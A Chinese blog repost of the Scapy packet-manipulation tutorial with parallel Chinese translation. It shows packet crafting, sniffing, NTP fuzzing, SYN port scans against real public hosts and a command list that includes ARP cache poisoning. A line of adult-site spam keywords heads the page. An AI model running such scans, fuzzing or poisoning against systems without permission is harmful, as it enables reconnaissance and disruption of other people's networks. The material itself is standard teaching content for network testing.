日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

交互式数据包处理程序 Scapy 用法

發(fā)布時間:2024/7/23 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 交互式数据包处理程序 Scapy 用法 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

From:https://www.cnblogs.com/hongxueyong/p/5641475.html

Scapy 用法官方文檔:http://scapy.readthedocs.io/en/latest/#starting-scapy


About Scapy

Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.

In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark).

Scapy是Python程序,使用戶能夠發(fā)送、嗅探、剖析和偽造網(wǎng)絡數(shù)據(jù)包。這種能力允許構(gòu)建能夠探測、掃描或攻擊網(wǎng)絡的工具。

換句話說,Scapy是一個強大的交互式數(shù)據(jù)包處理程序。它能夠偽造或解碼大量協(xié)議的數(shù)據(jù)包,將它們發(fā)送到網(wǎng)絡上,捕獲它們,匹配請求和應答,甚至更多。Scapy能夠輕松處理大多數(shù)經(jīng)典的任務,比如掃描、跟蹤、探測、單元測試、攻擊或網(wǎng)絡發(fā)現(xiàn)。 它可以替代hping、arpspoof、arp-sk、arping、p0f 甚至 Nmap、tcpdump和tshark的一些部分 )。



開始學習Scapy


Scapy’s interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we’re using?sudo?here:

在終端界面運行Scapy的交互式shell,并且發(fā)送數(shù)據(jù)包需要root權(quán)限:

$ sudo scapy
Welcome to Scapy (2.0.1-dev)
>>>

On Windows, please open a command prompt (cmd.exe) and make sure that you have administrator privileges:

在Windows以管理員權(quán)限運行一個cmd界面:

C:\>scapy
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.0.1-dev)
>>>

If you do not have all optional packages installed, Scapy will inform you that some features will not be available:

如果你沒有安裝所有可選的包,Scapy 將會提示一些功能不能使用

INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

The basic features of sending and receiving packets should still work, though.

發(fā)送和接收數(shù)據(jù)包的基本功能應該可以工作了

?

Interactive tutorial

交互式用法

This section will show you several of Scapy’s features. Just open a Scapy session as shown above and try the examples yourself.

本節(jié)將向您展示Scapy的一些功能。打開一個Scapy會話如上所示并嘗試自己的例子。

第一步

Let’s build a packet and play with it:

讓我們構(gòu)造一個數(shù)據(jù)包和顯示數(shù)據(jù)包

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

?

數(shù)據(jù)包分層

The?/?operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.

/進行數(shù)據(jù)包兩層之間的合并,并且你可以自定義數(shù)據(jù)包的各個字段,如果不填寫,會使用默認的字段

>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>

Each packet can be build or dissected (note: in Python?_?(underscore) is the latest result):

每一個數(shù)據(jù)包都可以構(gòu)造或切分(注意:Python _(下劃線)最后的結(jié)果):

>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
?chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>> ?a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> ?hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00? ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23? .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02? .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78?? ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A? .html HTTP/1.0 .
0A?????????????????????????????????????????????? .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
?\xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
?\xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
?ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
?src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
?ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
?options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

?We see that a dissected packet has all its fields filled. That’s because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:

>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
?frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
?chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

讀取 PCAP 文件

You can read packets from a pcap file and write them to a pcap file.

你可以從pcap讀取數(shù)據(jù)包文件,并把它們到一個pcap文件

?>>> a=rdpcap("/spare/captures/isakmp.cap")

>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

圖形化展示(PDF, PS)

If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):

如果你已經(jīng)安裝了PyX?,你能夠用圖像化PostScript/PDF展示數(shù)據(jù)包(如下png圖片展示. PostScript/PDF展示的更好):

?>>> a[423].pdfdump(layer_shift=1)

>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)

Command

Effect

str(pkt)

assemble the packet

hexdump(pkt)

have an hexadecimal dump

ls(pkt)

have the list of fields values

pkt.summary()

for a one-line summary

pkt.show()

for a developped view of the packet

pkt.show2()

same as show but on the assembled packet (checksum is calculated, for instance)

pkt.sprintf()

fills a format string with fields values of the packet

pkt.decode_payload_as()

changes the way the payload is decoded

pkt.psdump()

draws a PostScript diagram with explained dissection

pkt.pdfdump()

draws a PDF with explained dissection

pkt.command()

return a Scapy command that can generate the packet

Generating sets of packets

生成數(shù)據(jù)包集

For the moment, we have only generated one packet.

目前,我們僅僅是構(gòu)造了一個數(shù)據(jù)包,下面我們可以怎么樣很容易的生成一個數(shù)據(jù)包集,整個數(shù)據(jù)包的每個字段我們都可以自己定義,

This implicidely define a set of packets, generated using a kind of cartesian product between all the fields.

每個定義的數(shù)據(jù)包Scapy可以在每個字段中間生成一個笛卡爾集合

>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP? dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
?<IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
?<IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
?<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

Some operations (like building the string from a packet) can’t work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.

Command

Effect

summary()

displays a list of summaries of each packet

nsummary()

same as previous, with the packet number

conversations()

displays a graph of conversations

show()

displays the prefered representation (usually nsummary())

filter()

returns a packet list filtered with a lambda function

hexdump()

returns a hexdump of all packets

hexraw()

returns a hexdump of the Raw layer of all packets

padding()

returns a hexdump of packets with padding

nzpadding()

returns a hexdump of packets with non-zero padding

plot()

plots a lambda function applied to the packet list

make table()

displays a table according to a lambda function

Sending packets

發(fā)送數(shù)據(jù)包

Now that we know how to manipulate packets. Let’s see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It’s up to you to choose the right interface and the right link layer protocol.

現(xiàn)在你知道怎么樣構(gòu)造數(shù)據(jù)包了,下面介紹怎么樣發(fā)送數(shù)據(jù)包。用send()方法能夠發(fā)送3層數(shù)據(jù)包,用sendp()將處理二層數(shù)據(jù)包,有你選擇正確的接口和正確的鏈路層協(xié)議

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Fuzzing

The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:

“fuzz()”函數(shù)可以通過一個具有隨機值、數(shù)據(jù)類型合適的對象,來改變?nèi)魏文J值,但該值是不能被計算的(像校驗和那樣)。這使得可以快速建立循環(huán)模糊化測試模板。在下面的例子中,IP層是正常的,UDP層和NTP層被fuzz。UDP的校驗和是正確的,UDP的目的端口被NTP重載為123,而且NTP的版本被更變?yōu)?.其他所有的端口將被隨機分組:

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.

Send and receive packets (sr)

發(fā)送和接收數(shù)據(jù)包(“sr”)

Now, let’s try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.).

現(xiàn)在讓我們做一些有趣的事情。“sr()”函數(shù)是用來發(fā)送數(shù)據(jù)包和接收應答。該函數(shù)返回一對數(shù)據(jù)包及其應答,還有無應答的數(shù)據(jù)包。“sr1()”函數(shù)是一種變體,用來返回一個應答數(shù)據(jù)包。發(fā)送的數(shù)據(jù)包必須是第3層報文(IP,ARP等)。“srp()”則是使用第2層報文(以太網(wǎng),802.3等)。

>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
?chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
?code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
?|<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version?? = 4L
ihl?????? = 5L
tos?????? = 0x0
len?????? = 39
id??????? = 15489
flags???? =
frag????? = 0L
ttl?????? = 42
proto???? = ICMP
chksum??? = 0x51dd
src?????? = 66.35.250.151
dst?????? = 192.168.5.21
options?? = ''
---[ ICMP ]---
?? type????? = echo-reply
?? code????? = 0
?? chksum??? = 0xee45
?? id??????? = 0x0
?? seq?????? = 0x0
---[ Raw ]---
????? load????? = 'XXXXXXXXXXX'
---[ Padding ]---
???????? load????? = '\x00\x00\x00\x00'

A DNS query (rd?= recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:

DNS查詢(“rd” = recursion desired)。主機192.168.5.1是我的DNS服務器。注意從我Linksys來的非空填充具有Etherleak缺陷:

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
?src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
?|<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
?nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
?an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
?ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

The “send’n’receive” functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:

發(fā)送和接收函數(shù)族是scapy中的核心部分。它們返回一對兩個列表。第一個就是發(fā)送的數(shù)據(jù)包及其應答組成的列表,第二個是無應答數(shù)據(jù)包組成的列表。為了更好地呈現(xiàn)它們,它們被封裝成一個對象,并且提供了一些便于操作的方法:

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:

如果對于應答數(shù)據(jù)包有速度限制,你可以通過“inter”參數(shù)來設置兩個數(shù)據(jù)包之間等待的時間間隔。如果有些數(shù)據(jù)包丟失了,或者設置時間間隔不足以滿足要求,你可以重新發(fā)送所有無應答數(shù)據(jù)包。你可以簡單地對無應答數(shù)據(jù)包列表再調(diào)用一遍函數(shù),或者去設置“retry”參數(shù)。如果retry設置為3,scapy會對無應答的數(shù)據(jù)包重復發(fā)送三次。如果retry設為-3,scapy則會一直發(fā)送無應答的數(shù)據(jù)包,直到“timeout”參數(shù)等待最后一個數(shù)據(jù)包已發(fā)送的時間。

>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished to send 12 packets.
Begin emission:
Finished to send 9 packets.
Begin emission:
Finished to send 9 packets.

Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)

SYN Scans

Classic SYN Scan can be initialized by executing the following command from Scapy’s prompt:

在Scapy提示符中執(zhí)行以下命令,可以對經(jīng)典的SYN Scan初始化:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

The above will send a single SYN packet to Google’s port 80 and will quit after receving a single response:

以上向Google的80端口發(fā)送了一個SYN數(shù)據(jù)包,會在接收到一個應答后退出:

Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP? version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP? sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding? load='V\xf7' |>>>

From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.

Use either notations to scan ports 400 through 443 on the system:

從以上的輸出中可以看出,Google返回了一個SA(SYN-ACK)標志位,表示80端口是開放的。

使用其他標志位掃描一下系統(tǒng)的440到443端口:

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))

or

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

In order to quickly review responses simply request a summary of collected packets:

可以對收集的數(shù)據(jù)包進行摘要(summary),來快速地瀏覽響應:

>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:

以上顯示了我們在掃描過程中的請求應答對。我們也可以用一個循環(huán)來只顯示我們感興趣的信息:

>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440????? RA
441????? RA
442????? RA
https??? SA

Even better, a table can be built using the?make_table()?function to display information about multiple targets:

可以使用“make_table()”函數(shù)建立一個表格,更好地顯示多個目標信息:

>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
... ???lambda(s,r): (s.dst, s.dport,
... ???r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
??? 66.35.250.150??????????????? 192.168.1.1 216.109.112.135
22? 66.35.250.150 - dest-unreach RA????????? -
80? SA?????????????????????????? RA????????? SA
443 SA?????????????????????????? SA????????? SA

The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.

在以上的例子中,如果接收到作為響應的ICMP數(shù)據(jù)包而不是預期的TCP數(shù)據(jù)包,就會打印出ICMP差錯類型(error type)。

?

For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:

對于更大型的掃描,我們可能對某個響應感興趣,下面的例子就只顯示設置了“SA”標志位的數(shù)據(jù)包:

>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:

如果我們想對響應進行專業(yè)分析,我們可以使用以下的命令顯示哪些端口是開放的:

>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open

Again, for larger scans we can build a table of open ports:

對于更大型的掃描,我們可以建立一個端口開放表:

>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
... ????????????(s.dst, s.dport, "X"))
??? 66.35.250.150 192.168.1.1 216.109.112.135
80? X???????????? -?????????? X
443 X???????????? X?????????? X

If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:

如果以上的方法還不夠,Scapy還包含一個“report_ports()”函數(shù),該函數(shù)不僅可以自動化SYN scan,而且還會對收集的結(jié)果以LaTeX形式輸出:

>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps?& open & SA \\\\\n\\hline\n440
?& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

A TCP traceroute:

TCP路由追蹤:

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
... ????print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1

Note that the TCP traceroute and some other high-level functions are already coded:

注意:TCP路由跟蹤和其他高級函數(shù)早已被構(gòu)造好了:

>>> lsc()
sr?????????????? : Send and receive packets at layer 3
sr1????????????? : Send packets at layer 3 and return only the first answer
srp????????????? : Send and receive packets at layer 2
srp1???????????? : Send and receive packets at layer 2 and return only the first answer
srloop?????????? : Send a packet at layer 3 in loop and print the answer each time
srploop????????? : Send a packet at layer 2 in loop and print the answer each time
sniff??????????? : Sniff packets
p0f????????????? : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison?? : Poison target's cache with (your MAC,victim's IP) couple
send???????????? : Send packets at layer 3
sendp??????????? : Send packets at layer 2
traceroute?????? : Instant TCP traceroute
arping?????????? : Send ARP who-has requests to determine which hosts are up
ls?????????????? : List? available layers, or infos on a given layer
lsc????????????? : List user commands
queso??????????? : Queso OS fingerprinting
nmap_fp????????? : nmap fingerprinting
report_ports???? : portscan a target and output a LaTeX table
dyndns_add?????? : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del?????? : Send a DNS delete message to a nameserver for "name"
[...]

Configuring super sockets

配置高級sockets

The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don’t guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I’ve just added a super socket which use libdnet and libpcap, so that it should be portable:

發(fā)送和接收數(shù)據(jù)包的過程是相當復雜的。我想用PF_PACKET接口來通過netfilter,我也需要實現(xiàn)一個ARP堆棧、ARP緩存和一個堆棧。在以太網(wǎng)和ppp接口上看來可以工作,但我不保證任何事情。不管怎樣,事實上我使用一種super-socket,這意味著你可以很容易的切換IO層,并使用PF_INET / SOCK_RAW,或者使用PF_PACKET的級別2(得到LL頭(以太網(wǎng),…)和自己的mac地址,…)。我剛剛添加了一個使用libdnet和libpcap,的super socket,所以它應該可以移植:

>>> conf.L3socket=L3dnetSocket
>>> conf.L3listen=L3pcapListenSocket

Sniffing

We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces:

我們可以簡單地捕獲數(shù)據(jù)包,或者是克隆tcpdump或tethereal的功能。如果沒有指定接口,則會 在所有的接口上進行嗅探:

>>> ?sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>> ?a=_
>>> ?a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>> ?a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
?ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
?src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
?chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
?\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
?\x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst?????? = 00:ae:f3:52:aa:d1
src?????? = 00:02:15:37:a2:44
type????? = 0x800
---[ IP ]---
?? version?? = 4L
?? ihl?????? = 5L
?? tos?????? = 0x0
?? len?????? = 84
?? id??????? = 0
?? flags???? = DF
?? frag????? = 0L
?? ttl?????? = 64
?? proto???? = ICMP
?? chksum??? = 0x3831
?? src?????? = 192.168.5.21
?? dst?????? = 66.35.250.151
?? options?? = ''
---[ ICMP ]---
????? type????? = echo-request
????? code????? = 0
????? chksum??? = 0x89d9
????? id??????? = 0xc245
????? seq?????? = 0x0
---[ Raw ]---
???????? load????? = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst?????? = 00:02:15:37:a2:44
src?????? = 00:ae:f3:52:aa:d1
type????? = 0x800
---[ IP ]---
?? version?? = 4L
?? ihl?????? = 5L
?? tos?????? = 0x0
?? len?????? = 84
?? id??????? = 2070
?? flags???? =
?? frag????? = 0L
?? ttl?????? = 42
?? proto???? = ICMP
?? chksum??? = 0x861b
?? src?????? = 66.35.250.151
?? dst?????? = 192.168.5.21
?? options?? = ''
---[ ICMP ]---
